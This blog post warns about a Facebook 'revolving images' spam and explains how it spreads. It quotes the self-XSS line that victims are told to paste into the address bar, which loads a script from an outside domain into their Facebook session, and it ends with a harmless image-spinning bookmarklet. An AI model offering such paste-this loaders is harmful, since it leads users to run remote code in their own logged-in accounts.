The story behind Revolving Images -- Facebook SPAM!

        I'm pretty sure that majority of Facebook user might have noticed people posting "Really amazing revolving 360 facebook images. Check out >>http://FBROTATEIMAGES.TK/" . So what is this? Is it something cool? Definitely NOT! Its a wide-spreading spam on Facebook. So unless you want to be infected, please do NOT click on those links, there is nothing cool in there. If you are still anxious, here is what happens in there.
        I've been noticing these messages for about a week now, it looks something like below.
        So I clicked on one of those links(apparently both redirects to the same page). You will have the following page on the screen now.

         Certainly its going popular i.e. if the 2297 Likes is true. This is the Javascript the site asks you to paste on the address bar while your on Facebook
javascript:(a = (b = document).createElement("script")).src = "//revolvingimages.info/majic.js?show", b.body.appendChild(a); void(0)         After you give this in your address bar and hit enter, you will get a Message box.

           It says you have to wait 2-3 minutes, maybe because I did not wait that long to press OK, the spam message was forwarded only to one of my friends.
           This is what happens with this so uncool message. You get no requests for Permission as any other Facebook application, and you won't even know that the message has been posted to your friend. Removing those links on your friends page would get rid of the issue, but its still annoying.
           If you really want to see some cool revolving image effect, use the above javascript on your address bar. To stop it, just hit refresh :) Now that's something cool!
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24;   x4=300; y4=200; x5=300; y5=200;  DI=document.getElementsByTagName("img");  DIL=DI.length; function  A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style;  DIS.position='absolute';  DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px";   DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5);   void(0);